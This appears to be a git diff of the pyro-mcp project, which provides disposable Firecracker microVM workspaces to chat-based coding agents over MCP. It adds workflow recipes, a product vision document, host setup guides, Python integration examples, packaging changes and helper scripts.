pyro host connect claude-code --mode cold-start
```
Smoke target:
```bash
make smoke-cold-start-validation
```
Use this flow when an agent needs to treat a fresh repo like a new user would:
seed it into a workspace, run the validation script, keep one long-running
process alive, probe it from another command, and export a validation report.
Chat-host recipe:
1. Create one workspace from the repo seed.
2. Run the validation command inside that workspace.
3. Start the app as a long-running service with readiness configured.
4. Probe the ready service from another command in the same workspace.
5. Export the validation report back to the host.
6. Delete the workspace when the evaluation is done.
If the named mode feels too narrow, fall back to the generic no-mode path and
then opt into `--profile workspace-full` only when you truly need the larger
advanced surface.
This recipe is intentionally guest-local and deterministic. It proves startup,
service readiness, validation, and host-out report capture without depending on
external networks or private registries.

View file

@ -0,0 +1,32 @@
# Parallel Isolated Workspaces
Recommended mode: `repro-fix`
Recommended startup:
```bash
pyro host connect codex --mode repro-fix
```
Smoke target:
```bash
make smoke-parallel-workspaces
```
Use this flow when the agent needs one isolated workspace per issue, branch, or
review thread and must rediscover the right one later.
Chat-host recipe:
1. Create one workspace per issue or branch with a human-friendly name and
labels.
2. Mutate each workspace independently.
3. Rediscover the right workspace later with `workspace_list`.
4. Update metadata when ownership or issue mapping changes.
5. Delete each workspace independently when its task is done.
The important proof here is operational, not syntactic: names, labels, list
ordering, and file contents stay isolated even when multiple workspaces are
active at the same time. Parallel work still means “open another workspace in
the same mode,” not “pick a special parallel-work mode.”

View file

@ -0,0 +1,38 @@
# Repro Plus Fix Loop
Recommended mode: `repro-fix`
Recommended startup:
```bash
pyro host connect codex --mode repro-fix
```
Smoke target:
```bash
make smoke-repro-fix-loop
```
Use this flow when the agent has to reproduce a bug, patch files without shell
quoting tricks, rerun the failing command, diff the result, export the fix, and
reset back to baseline.
Chat-host recipe:
1. Start the server from the repo root with bare `pyro mcp serve`, or use
`--project-path` if the host does not preserve cwd.
2. Create one workspace from that project-aware server without manually passing
`seed_path`.
3. Run the failing command.
4. Inspect the broken file with structured file reads.
5. Apply the fix with `workspace_patch_apply`.
6. Rerun the failing command in the same workspace.
7. Diff and export the changed result.
8. Reset to baseline and delete the workspace.
If the mode feels too narrow for the job, fall back to the generic bare
`pyro mcp serve` path.
This is the main `repro-fix` story: model-native file ops, repeatable exec,
structured diff, explicit export, and reset-over-repair.

View file

@ -0,0 +1,32 @@
# Review And Evaluation Workflows
Recommended mode: `review-eval`
Recommended startup:
```bash
pyro host connect claude-code --mode review-eval
```
Smoke target:
```bash
make smoke-review-eval
```
Use this flow when an agent needs to read a checklist interactively, run an
evaluation script, checkpoint or reset its changes, and export the final report.
Chat-host recipe:
1. Create a named snapshot before the review starts.
2. Open a readable PTY shell and inspect the checklist interactively.
3. Run the review or evaluation script in the same workspace.
4. Capture `workspace summary` to review what changed and what to export.
5. Export the final report.
6. Reset back to the snapshot if the review branch goes sideways.
7. Delete the workspace when the evaluation is done.
This is the stable shell-facing story: readable PTY output for chat loops,
checkpointed evaluation, explicit export, and reset when a review branch goes
sideways.

View file

@ -0,0 +1,29 @@
# Unsafe Or Untrusted Code Inspection
Recommended mode: `inspect`
Recommended startup:
```bash
pyro host connect codex --mode inspect
```
Smoke target:
```bash
make smoke-untrusted-inspection
```
Use this flow when the agent needs to inspect suspicious code or an unfamiliar
repo without granting more capabilities than necessary.
Chat-host recipe:
1. Create one workspace from the suspicious repo seed.
2. Inspect the tree with structured file listing and file reads.
3. Run the smallest possible command that produces the inspection report.
4. Export only the report the agent chose to materialize.
5. Delete the workspace when inspection is complete.
This recipe stays offline-by-default, uses only explicit file reads and execs,
and exports only the inspection report the agent chose to materialize.

199
docs/vision.md Normal file
View file

@ -0,0 +1,199 @@
# Vision
`pyro-mcp` should become the disposable MCP workspace for chat-based coding
agents.
That is a different product from a generic VM wrapper, a secure CI runner, or
an SDK-first platform.
`pyro-mcp` currently has no users. That means we can still make breaking
changes freely while we shape the chat-host path into the right product.
## Core Thesis
The goal is not just to run one command in a microVM.
The goal is to give a chat-hosted coding agent a bounded workspace where it can:
- inspect a repo
- install dependencies
- edit files
- run tests
- start and inspect services
- reset and retry
- export patches and artifacts
- destroy the sandbox when the task is done
The sandbox is the execution boundary for agentic software work.
## Current Product Focus
The product path should be obvious and narrow:
- Claude Code
- Codex
- OpenCode
- Linux `x86_64` with KVM
The happy path is:
1. prove the host with the terminal companion commands
2. run `pyro mcp serve`
3. connect a chat host
4. work through one disposable workspace per task
The repo can contain lower-level building blocks, but they should not drive the
product story.
## What This Is Not
`pyro-mcp` should not drift into:
- a YAML pipeline system
- a build farm
- a generic CI job runner
- a scheduler or queueing platform
- a broad VM orchestration product
- an SDK product that happens to have an MCP server on the side
Those products optimize for queued work, throughput, retries, matrix builds, or
library ergonomics.
`pyro-mcp` should optimize for agent loops:
- explore
- edit
- test
- observe
- reset
- export
## Why This Can Look Like CI
Any sandbox product starts to look like CI if the main abstraction is:
- submit a command
- wait
- collect logs
- fetch artifacts
That shape is useful, but it is not the center of the vision.
To stay aligned, the primary abstraction should be a workspace the agent
inhabits from a chat host, not a job the agent submits to a runner.
## Product Principles
### Chat Hosts First
The product should be shaped around the MCP path used from chat interfaces.
Everything else is there to support, debug, or build that path.
### Workspace-First
The default mental model should be "open a disposable workspace" rather than
"enqueue a task".
### Stateful Interaction
The product should support repeated interaction in one sandbox. One-shot command
execution matters, but it is the entry point, not the destination.
### Explicit Host Crossing
Anything that crosses the host boundary should be intentional and visible:
- seeding a workspace
- syncing changes in
- exporting artifacts out
- granting secrets or network access
### Reset Over Repair
Agents should be able to checkpoint, reset, and retry cheaply. Disposable state
is a feature, not a limitation.
### Agent-Native Observability
The sandbox should expose the things an agent actually needs to reason about:
- command output
- file diffs
- service status
- logs
- readiness
- exported results
## The Shape Of The Product
The strongest direction is a small chat-facing contract built around:
- one MCP server
- one disposable workspace model
- structured file inspection and edits
- repeated commands in the same sandbox
- service lifecycle when the workflow needs it
- reset as a first-class workflow primitive
Representative primitives:
- `workspace.create`
- `workspace.status`
- `workspace.delete`
- `workspace.sync_push`
- `workspace.export`
- `workspace.diff`
- `workspace.reset`
- `workspace.exec`
- `shell.open`
- `shell.read`
- `shell.write`
- `service.start`
- `service.status`
- `service.logs`
These names are illustrative, not a promise that every lower-level repo surface
should be treated as equally stable or equally important.
## Interactive Shells And Disk Operations
Interactive shells are aligned with the vision because they make the agent feel
present inside the sandbox rather than reduced to one-shot job submission.
They should remain subordinate to the workspace model, not replace it with a
raw SSH story.
Disk-level operations are useful for:
- fast workspace seeding
- snapshotting
- offline inspection
- export/import without a full boot
They should remain supporting tools rather than the product identity.
## What To Build Next
Features should keep reinforcing the chat-host path in this order:
1. make the first chat-host setup painfully obvious
2. make the recipe-backed workflows feel trivial from chat
3. keep the smoke pack trustworthy enough to gate the advertised stories
4. keep the terminal companion path good enough to debug what the chat sees
5. let lower-level repo surfaces move freely when the chat-host product needs it
The completed workspace GA roadmap lives in
[roadmap/task-workspace-ga.md](roadmap/task-workspace-ga.md).
The follow-on milestones that make the chat-host path clearer live in
[roadmap/llm-chat-ergonomics.md](roadmap/llm-chat-ergonomics.md).
## Litmus Test
When evaluating a new feature, ask:
"Does this make Claude Code, Codex, or OpenCode feel more natural and powerful
when they work inside a disposable sandbox?"
If the better description is "it helps build a broader VM toolkit or SDK", it
is probably pushing the product in the wrong direction.

View file

@ -6,6 +6,13 @@ import json
from typing import Any
from pyro_mcp import Pyro
from pyro_mcp.vm_manager import (
DEFAULT_ALLOW_HOST_COMPAT,
DEFAULT_MEM_MIB,
DEFAULT_TIMEOUT_SECONDS,
DEFAULT_TTL_SECONDS,
DEFAULT_VCPU_COUNT,
)
VM_RUN_TOOL: dict[str, Any] = {
"name": "vm_run",
@ -20,8 +27,9 @@ VM_RUN_TOOL: dict[str, Any] = {
"timeout_seconds": {"type": "integer", "default": 30},
"ttl_seconds": {"type": "integer", "default": 600},
"network": {"type": "boolean", "default": False},
"allow_host_compat": {"type": "boolean", "default": False},
},
"required": ["environment", "command", "vcpu_count", "mem_mib"],
"required": ["environment", "command"],
},
}
@ -31,11 +39,12 @@ def call_vm_run(arguments: dict[str, Any]) -> dict[str, Any]:
return pyro.run_in_vm(
environment=str(arguments["environment"]),
command=str(arguments["command"]),
vcpu_count=int(arguments["vcpu_count"]),
mem_mib=int(arguments["mem_mib"]),
timeout_seconds=int(arguments.get("timeout_seconds", 30)),
ttl_seconds=int(arguments.get("ttl_seconds", 600)),
vcpu_count=int(arguments.get("vcpu_count", DEFAULT_VCPU_COUNT)),
mem_mib=int(arguments.get("mem_mib", DEFAULT_MEM_MIB)),
timeout_seconds=int(arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)),
ttl_seconds=int(arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)),
network=bool(arguments.get("network", False)),
allow_host_compat=bool(arguments.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)),
)
@ -43,8 +52,6 @@ def main() -> None:
tool_arguments: dict[str, Any] = {
"environment": "debian:12",
"command": "git --version",
"vcpu_count": 1,
"mem_mib": 1024,
"timeout_seconds": 30,
"network": False,
}

View file

@ -0,0 +1,52 @@
# Claude Code MCP Setup
Recommended modes:
- `cold-start`
- `review-eval`
Preferred helper flow:
```bash
pyro host connect claude-code --mode cold-start
pyro host connect claude-code --mode review-eval
pyro host doctor --mode cold-start
```
Package without install:
```bash
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
claude mcp list
```
Run that from the repo root when you want the first `workspace_create` to start
from the current checkout automatically.
Already installed:
```bash
claude mcp add pyro -- pyro mcp serve --mode cold-start
claude mcp list
```
If Claude Code launches the server from an unexpected cwd, pin the project
explicitly:
```bash
pyro host connect claude-code --mode cold-start --project-path /abs/path/to/repo
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start --project-path /abs/path/to/repo
```
If the local config drifts later:
```bash
pyro host repair claude-code --mode cold-start
```
Move to `workspace-full` only when the chat truly needs shells, services,
snapshots, secrets, network policy, or disk tools:
```bash
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-full
```

52
examples/codex_mcp.md Normal file
View file

@ -0,0 +1,52 @@
# Codex MCP Setup
Recommended modes:
- `repro-fix`
- `inspect`
Preferred helper flow:
```bash
pyro host connect codex --mode repro-fix
pyro host connect codex --mode inspect
pyro host doctor --mode repro-fix
```
Package without install:
```bash
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
codex mcp list
```
Run that from the repo root when you want the first `workspace_create` to start
from the current checkout automatically.
Already installed:
```bash
codex mcp add pyro -- pyro mcp serve --mode repro-fix
codex mcp list
```
If Codex launches the server from an unexpected cwd, pin the project
explicitly:
```bash
pyro host connect codex --mode repro-fix --project-path /abs/path/to/repo
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix --project-path /abs/path/to/repo
```
If the local config drifts later:
```bash
pyro host repair codex --mode repro-fix
```
Move to `workspace-full` only when the chat truly needs shells, services,
snapshots, secrets, network policy, or disk tools:
```bash
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-full
```

View file

@ -13,6 +13,13 @@ import json
from typing import Any, Callable, TypeVar, cast
from pyro_mcp import Pyro
from pyro_mcp.vm_manager import (
DEFAULT_ALLOW_HOST_COMPAT,
DEFAULT_MEM_MIB,
DEFAULT_TIMEOUT_SECONDS,
DEFAULT_TTL_SECONDS,
DEFAULT_VCPU_COUNT,
)
F = TypeVar("F", bound=Callable[..., Any])
@ -21,11 +28,12 @@ def run_vm_run_tool(
*,
environment: str,
command: str,
vcpu_count: int,
mem_mib: int,
timeout_seconds: int = 30,
ttl_seconds: int = 600,
vcpu_count: int = DEFAULT_VCPU_COUNT,
mem_mib: int = DEFAULT_MEM_MIB,
timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS,
ttl_seconds: int = DEFAULT_TTL_SECONDS,
network: bool = False,
allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT,
) -> str:
pyro = Pyro()
result = pyro.run_in_vm(
@ -36,6 +44,7 @@ def run_vm_run_tool(
timeout_seconds=timeout_seconds,
ttl_seconds=ttl_seconds,
network=network,
allow_host_compat=allow_host_compat,
)
return json.dumps(result, sort_keys=True)
@ -55,11 +64,12 @@ def build_langchain_vm_run_tool() -> Any:
def vm_run(
environment: str,
command: str,
vcpu_count: int,
mem_mib: int,
timeout_seconds: int = 30,
ttl_seconds: int = 600,
vcpu_count: int = DEFAULT_VCPU_COUNT,
mem_mib: int = DEFAULT_MEM_MIB,
timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS,
ttl_seconds: int = DEFAULT_TTL_SECONDS,
network: bool = False,
allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT,
) -> str:
"""Run one command in an ephemeral Firecracker VM and clean it up."""
return run_vm_run_tool(
@ -70,6 +80,7 @@ def build_langchain_vm_run_tool() -> Any:
timeout_seconds=timeout_seconds,
ttl_seconds=ttl_seconds,
network=network,
allow_host_compat=allow_host_compat,
)
return vm_run

View file

@ -1,5 +1,31 @@
# MCP Client Config Example
Recommended named modes for most chat hosts in `4.x`:
- `repro-fix`
- `inspect`
- `cold-start`
- `review-eval`
Use the host-specific examples first when they apply:
- Claude Code: [examples/claude_code_mcp.md](claude_code_mcp.md)
- Codex: [examples/codex_mcp.md](codex_mcp.md)
- OpenCode: [examples/opencode_mcp_config.json](opencode_mcp_config.json)
Preferred repair/bootstrap helpers:
- `pyro host connect codex --mode repro-fix`
- `pyro host connect codex --mode inspect`
- `pyro host connect claude-code --mode cold-start`
- `pyro host connect claude-code --mode review-eval`
- `pyro host print-config opencode --mode repro-fix`
- `pyro host doctor --mode repro-fix`
- `pyro host repair opencode --mode repro-fix`
Use this generic config only when the host expects a plain `mcpServers` JSON
shape or when the named modes are too narrow for the workflow.
`pyro-mcp` is intended to be exposed to LLM clients through the public `pyro` CLI.
Generic stdio MCP configuration using `uvx`:
@ -9,7 +35,7 @@ Generic stdio MCP configuration using `uvx`:
"mcpServers": {
"pyro": {
"command": "uvx",
"args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"]
"args": ["--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"]
}
}
}
@ -22,19 +48,32 @@ If `pyro-mcp` is already installed locally, the same server can be configured wi
"mcpServers": {
"pyro": {
"command": "pyro",
"args": ["mcp", "serve"]
"args": ["mcp", "serve", "--mode", "repro-fix"]
}
}
}
```
Primary tool for most agents:
If the host does not preserve the server working directory and you want the
first `workspace_create` to start from a specific checkout, add
`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same args list.
- `vm_run`
Mode progression:
- `repro-fix`: patch, rerun, diff, export, reset
- `inspect`: narrow offline-by-default inspection
- `cold-start`: validation plus service readiness
- `review-eval`: shell and snapshot-driven review
- generic no-mode path: the fallback when the named mode is too narrow
- `workspace-full`: explicit advanced opt-in for shells, services, snapshots, secrets, network policy, and disk tools
Primary mode for most agents:
- `repro-fix`
Use lifecycle tools only when the agent needs persistent VM state across multiple tool calls.
Concrete client-specific examples:
Other generic-client examples:
- Claude Desktop: [examples/claude_desktop_mcp_config.json](claude_desktop_mcp_config.json)
- Cursor: [examples/cursor_mcp_config.json](cursor_mcp_config.json)

View file

@ -15,6 +15,13 @@ import os
from typing import Any
from pyro_mcp import Pyro
from pyro_mcp.vm_manager import (
DEFAULT_ALLOW_HOST_COMPAT,
DEFAULT_MEM_MIB,
DEFAULT_TIMEOUT_SECONDS,
DEFAULT_TTL_SECONDS,
DEFAULT_VCPU_COUNT,
)
DEFAULT_MODEL = "gpt-5"
@ -33,8 +40,9 @@ OPENAI_VM_RUN_TOOL: dict[str, Any] = {
"timeout_seconds": {"type": "integer"},
"ttl_seconds": {"type": "integer"},
"network": {"type": "boolean"},
"allow_host_compat": {"type": "boolean"},
},
"required": ["environment", "command", "vcpu_count", "mem_mib"],
"required": ["environment", "command"],
"additionalProperties": False,
},
}
@ -45,11 +53,12 @@ def call_vm_run(arguments: dict[str, Any]) -> dict[str, Any]:
return pyro.run_in_vm(
environment=str(arguments["environment"]),
command=str(arguments["command"]),
vcpu_count=int(arguments["vcpu_count"]),
mem_mib=int(arguments["mem_mib"]),
timeout_seconds=int(arguments.get("timeout_seconds", 30)),
ttl_seconds=int(arguments.get("ttl_seconds", 600)),
vcpu_count=int(arguments.get("vcpu_count", DEFAULT_VCPU_COUNT)),
mem_mib=int(arguments.get("mem_mib", DEFAULT_MEM_MIB)),
timeout_seconds=int(arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)),
ttl_seconds=int(arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)),
network=bool(arguments.get("network", False)),
allow_host_compat=bool(arguments.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)),
)
@ -88,7 +97,7 @@ def main() -> None:
model = os.environ.get("OPENAI_MODEL", DEFAULT_MODEL)
prompt = (
"Use the vm_run tool to run `git --version` in an ephemeral VM. "
"Use the `debian:12` environment with 1 vCPU and 1024 MiB of memory. "
"Use the `debian:12` environment. "
"Do not use networking for this request."
)
print(run_openai_vm_run_example(prompt=prompt, model=model))

View file

@ -0,0 +1,90 @@
"""Canonical OpenAI Responses API integration centered on workspace-core.
Requirements:
- `pip install openai` or `uv add openai`
- `OPENAI_API_KEY`
This is the recommended persistent-chat example. In 4.x the default MCP server
profile is already `workspace-core`, so it derives tool schemas from
`Pyro.create_server()` and dispatches tool calls back through that same
default-profile server.
"""
from __future__ import annotations
import asyncio
import json
import os
from typing import Any, cast
from pyro_mcp import Pyro
DEFAULT_MODEL = "gpt-5"
def _tool_to_openai(tool: Any) -> dict[str, Any]:
return {
"type": "function",
"name": str(tool.name),
"description": str(getattr(tool, "description", "") or ""),
"strict": True,
"parameters": dict(tool.inputSchema),
}
def _extract_structured(raw_result: object) -> dict[str, Any]:
if not isinstance(raw_result, tuple) or len(raw_result) != 2:
raise TypeError("unexpected call_tool result shape")
_, structured = raw_result
if not isinstance(structured, dict):
raise TypeError("expected structured dictionary result")
return cast(dict[str, Any], structured)
async def run_openai_workspace_core_example(*, prompt: str, model: str = DEFAULT_MODEL) -> str:
from openai import OpenAI # type: ignore[import-not-found]
pyro = Pyro()
server = pyro.create_server()
tools = [_tool_to_openai(tool) for tool in await server.list_tools()]
client = OpenAI()
input_items: list[dict[str, Any]] = [{"role": "user", "content": prompt}]
while True:
response = client.responses.create(
model=model,
input=input_items,
tools=tools,
)
input_items.extend(response.output)
tool_calls = [item for item in response.output if item.type == "function_call"]
if not tool_calls:
return str(response.output_text)
for tool_call in tool_calls:
result = _extract_structured(
await server.call_tool(tool_call.name, json.loads(tool_call.arguments))
)
input_items.append(
{
"type": "function_call_output",
"call_id": tool_call.call_id,
"output": json.dumps(result, sort_keys=True),
}
)
def main() -> None:
model = os.environ.get("OPENAI_MODEL", DEFAULT_MODEL)
prompt = (
"Use the workspace-core tools to create a Debian 12 workspace named "
"`chat-fix`, write `app.py` with `print(\"fixed\")`, run it with "
"`python3 app.py`, export the file to `./app.py`, then delete the workspace. "
"Do not use one-shot vm_run for this request."
)
print(asyncio.run(run_openai_workspace_core_example(prompt=prompt, model=model)))
if __name__ == "__main__":
main()

View file

@ -0,0 +1,9 @@
{
"mcp": {
"pyro": {
"type": "local",
"enabled": true,
"command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"]
}
}
}

View file

@ -11,19 +11,13 @@ def main() -> None:
pyro = Pyro()
created = pyro.create_vm(
environment="debian:12",
vcpu_count=1,
mem_mib=1024,
ttl_seconds=600,
network=False,
)
vm_id = str(created["vm_id"])
try:
pyro.start_vm(vm_id)
result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30)
print(json.dumps(result, indent=2, sort_keys=True))
finally:
pyro.delete_vm(vm_id)
if __name__ == "__main__":

View file

@ -12,8 +12,6 @@ def main() -> None:
result = pyro.run_in_vm(
environment="debian:12",
command="git --version",
vcpu_count=1,
mem_mib=1024,
timeout_seconds=30,
network=False,
)

40
examples/python_shell.py Normal file
View file

@ -0,0 +1,40 @@
from __future__ import annotations
import tempfile
import time
from pathlib import Path
from pyro_mcp import Pyro
def main() -> None:
pyro = Pyro()
with tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir:
Path(seed_dir, "note.txt").write_text("hello from shell\n", encoding="utf-8")
created = pyro.create_workspace(environment="debian:12", seed_path=seed_dir)
workspace_id = str(created["workspace_id"])
try:
opened = pyro.open_shell(workspace_id)
shell_id = str(opened["shell_id"])
pyro.write_shell(workspace_id, shell_id, input="pwd")
deadline = time.time() + 5
while True:
read = pyro.read_shell(
workspace_id,
shell_id,
cursor=0,
plain=True,
wait_for_idle_ms=300,
)
output = str(read["output"])
if "/workspace" in output or time.time() >= deadline:
print(output, end="")
break
time.sleep(0.1)
pyro.close_shell(workspace_id, shell_id)
finally:
pyro.delete_workspace(workspace_id)
if __name__ == "__main__":
main()

View file

@ -0,0 +1,132 @@
from __future__ import annotations
import tempfile
from pathlib import Path
from pyro_mcp import Pyro
def main() -> None:
pyro = Pyro()
with (
tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir,
tempfile.TemporaryDirectory(prefix="pyro-workspace-sync-") as sync_dir,
tempfile.TemporaryDirectory(prefix="pyro-workspace-export-") as export_dir,
tempfile.TemporaryDirectory(prefix="pyro-workspace-disk-") as disk_dir,
tempfile.TemporaryDirectory(prefix="pyro-workspace-secret-") as secret_dir,
):
Path(seed_dir, "note.txt").write_text("hello from seed\n", encoding="utf-8")
Path(sync_dir, "note.txt").write_text("hello from sync\n", encoding="utf-8")
secret_file = Path(secret_dir, "token.txt")
secret_file.write_text("from-file\n", encoding="utf-8")
created = pyro.create_workspace(
environment="debian:12",
seed_path=seed_dir,
name="repro-fix",
labels={"issue": "123"},
network_policy="egress+published-ports",
secrets=[
{"name": "API_TOKEN", "value": "expected"},
{"name": "FILE_TOKEN", "file_path": str(secret_file)},
],
)
workspace_id = str(created["workspace_id"])
try:
listed = pyro.list_workspaces()
print(f"workspace_count={listed['count']}")
updated = pyro.update_workspace(
workspace_id,
labels={"owner": "codex"},
)
print(updated["labels"]["owner"])
pyro.push_workspace_sync(workspace_id, sync_dir)
files = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True)
print(f"workspace_entries={len(files['entries'])}")
note = pyro.read_workspace_file(workspace_id, "note.txt")
print(note["content"], end="")
written = pyro.write_workspace_file(
workspace_id,
"src/app.py",
text="print('hello from file ops')\n",
)
print(f"written_bytes={written['bytes_written']}")
patched = pyro.apply_workspace_patch(
workspace_id,
patch=(
"--- a/note.txt\n"
"+++ b/note.txt\n"
"@@ -1 +1 @@\n"
"-hello from sync\n"
"+hello from patch\n"
),
)
print(f"patch_changed={patched['changed']}")
result = pyro.exec_workspace(workspace_id, command="cat note.txt")
print(result["stdout"], end="")
secret_result = pyro.exec_workspace(
workspace_id,
command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'',
secret_env={"API_TOKEN": "API_TOKEN"},
)
print(secret_result["stdout"], end="")
diff_result = pyro.diff_workspace(workspace_id)
print(f"changed={diff_result['changed']} total={diff_result['summary']['total']}")
snapshot = pyro.create_snapshot(workspace_id, "checkpoint")
print(snapshot["snapshot"]["snapshot_name"])
exported_path = Path(export_dir, "note.txt")
pyro.export_workspace(workspace_id, "note.txt", output_path=exported_path)
print(exported_path.read_text(encoding="utf-8"), end="")
shell = pyro.open_shell(workspace_id, secret_env={"API_TOKEN": "API_TOKEN"})
shell_id = str(shell["shell_id"])
pyro.write_shell(
workspace_id,
shell_id,
input='printf "%s\\n" "$API_TOKEN"',
)
shell_output = pyro.read_shell(
workspace_id,
shell_id,
cursor=0,
plain=True,
wait_for_idle_ms=300,
)
print(f"shell_output_len={len(shell_output['output'])}")
pyro.close_shell(workspace_id, shell_id)
pyro.start_service(
workspace_id,
"web",
command="touch .web-ready && while true; do sleep 60; done",
readiness={"type": "file", "path": ".web-ready"},
secret_env={"API_TOKEN": "API_TOKEN"},
published_ports=[{"guest_port": 8080}],
)
services = pyro.list_services(workspace_id)
print(f"services={services['count']} running={services['running_count']}")
service_status = pyro.status_service(workspace_id, "web")
print(f"service_state={service_status['state']} ready_at={service_status['ready_at']}")
print(f"published_ports={service_status['published_ports']}")
service_logs = pyro.logs_service(workspace_id, "web", tail_lines=20)
print(f"service_stdout_len={len(service_logs['stdout'])}")
pyro.stop_service(workspace_id, "web")
stopped = pyro.stop_workspace(workspace_id)
print(f"stopped_state={stopped['state']}")
disk_listing = pyro.list_workspace_disk(workspace_id, path="/workspace", recursive=True)
print(f"disk_entries={len(disk_listing['entries'])}")
disk_read = pyro.read_workspace_disk(workspace_id, "note.txt")
print(disk_read["content"], end="")
disk_image = Path(disk_dir, "workspace.ext4")
pyro.export_workspace_disk(workspace_id, output_path=disk_image)
print(f"disk_bytes={disk_image.stat().st_size}")
started = pyro.start_workspace(workspace_id)
print(f"started_state={started['state']}")
reset = pyro.reset_workspace(workspace_id, snapshot="checkpoint")
print(f"reset_count={reset['reset_count']}")
print(f"secret_count={len(reset['secrets'])}")
logs = pyro.logs_workspace(workspace_id)
print(f"workspace_id={workspace_id} command_count={logs['count']}")
finally:
pyro.delete_workspace(workspace_id)
if __name__ == "__main__":
main()

View file

@ -1,7 +1,7 @@
[project]
name = "pyro-mcp"
version = "1.0.0"
description = "Curated Linux environments for ephemeral Firecracker-backed VM execution."
version = "4.5.0"
description = "Disposable MCP workspaces for chat-based coding agents on Linux KVM."
readme = "README.md"
license = { file = "LICENSE" }
authors = [
@ -9,7 +9,7 @@ authors = [
]
requires-python = ">=3.12"
classifiers = [
"Development Status :: 5 - Production/Stable",
"Development Status :: 4 - Beta",
"Environment :: Console",
"Intended Audience :: Developers",
"License :: OSI Approved :: MIT License",
@ -27,6 +27,7 @@ dependencies = [
Homepage = "https://git.thaloco.com/thaloco/pyro-mcp"
Repository = "https://git.thaloco.com/thaloco/pyro-mcp"
Issues = "https://git.thaloco.com/thaloco/pyro-mcp/issues"
PyPI = "https://pypi.org/project/pyro-mcp/"
[project.scripts]
pyro = "pyro_mcp.cli:main"
@ -66,6 +67,7 @@ dev = [
"pre-commit>=4.5.1",
"pytest>=9.0.2",
"pytest-cov>=7.0.0",
"pytest-xdist>=3.8.0",
"ruff>=0.15.4",
]

View file

@ -18,14 +18,13 @@ Materialization workflow:
Official environment publication workflow:
1. `make runtime-materialize`
2. `DOCKERHUB_USERNAME=... DOCKERHUB_TOKEN=... make runtime-publish-official-environments-oci`
3. or run the repo workflow at `.github/workflows/publish-environments.yml` with Docker Hub credentials
4. if your uplink is slow, tune publishing with `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and `PYRO_OCI_REQUEST_TIMEOUT_SECONDS`
3. if your uplink is slow, tune publishing with `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and `PYRO_OCI_REQUEST_TIMEOUT_SECONDS`
Official end-user pulls are anonymous; registry credentials are only required for publishing.
Build requirements for the real path:
- `docker`
- outbound network access to GitHub and Debian snapshot mirrors
- outbound network access to the pinned upstream release hosts and Debian snapshot mirrors
- enough disk for a kernel build plus 2G ext4 images per source profile
Kernel build note:
@ -35,7 +34,7 @@ Kernel build note:
Current status:
1. Firecracker and Jailer are materialized from pinned official release artifacts.
2. The kernel and rootfs images are built from pinned inputs into `build/runtime_sources/`.
3. The guest agent is installed into each rootfs and used for vsock exec.
3. The guest agent is installed into each rootfs and used for vsock exec plus workspace archive imports.
4. `runtime.lock.json` now advertises real guest capabilities.
Safety rule:

File diff suppressed because it is too large Load diff

View file

@ -5,7 +5,7 @@
"firecracker": "1.12.1",
"jailer": "1.12.1",
"kernel": "5.10.210",
"guest_agent": "0.1.0-dev",
"guest_agent": "0.2.0-dev",
"base_distro": "debian-bookworm-20250210"
},
"capabilities": {

View file

@ -7,7 +7,8 @@ AGENT=/opt/pyro/bin/pyro_guest_agent.py
mount -t proc proc /proc || true
mount -t sysfs sysfs /sys || true
mount -t devtmpfs devtmpfs /dev || true
mkdir -p /run /tmp
mkdir -p /dev/pts /run /tmp
mount -t devpts devpts /dev/pts -o mode=620,ptmxmode=666 || true
hostname pyro-vm || true
cmdline="$(cat /proc/cmdline 2>/dev/null || true)"

View file

@ -0,0 +1,8 @@
#!/usr/bin/env python3
"""Run the real guest-backed daily-loop smoke."""
from pyro_mcp.daily_loop_smoke import main
if __name__ == "__main__":
main()

25
scripts/render_tape.sh Executable file
View file

@ -0,0 +1,25 @@
#!/usr/bin/env bash
set -euo pipefail
if [ "$#" -lt 1 ] || [ "$#" -gt 2 ]; then
printf 'Usage: %s <tape-file> [output-file]\n' "$0" >&2
exit 1
fi
if ! command -v vhs >/dev/null 2>&1; then
printf '%s\n' 'vhs is required to render terminal recordings.' >&2
exit 1
fi
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
TAPE_FILE="$1"
OUTPUT_FILE="${2:-}"
cd "$ROOT_DIR"
vhs validate "$TAPE_FILE"
if [ -n "$OUTPUT_FILE" ]; then
vhs -o "$OUTPUT_FILE" "$TAPE_FILE"
else
vhs "$TAPE_FILE"
fi

View file

@ -0,0 +1,8 @@
#!/usr/bin/env python3
"""Run the real guest-backed workspace use-case smoke scenarios."""
from pyro_mcp.workspace_use_case_smokes import main
if __name__ == "__main__":
main()

File diff suppressed because it is too large Load diff

File diff suppressed because it is too large Load diff

View file

@ -2,35 +2,215 @@
from __future__ import annotations
PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "mcp", "run")
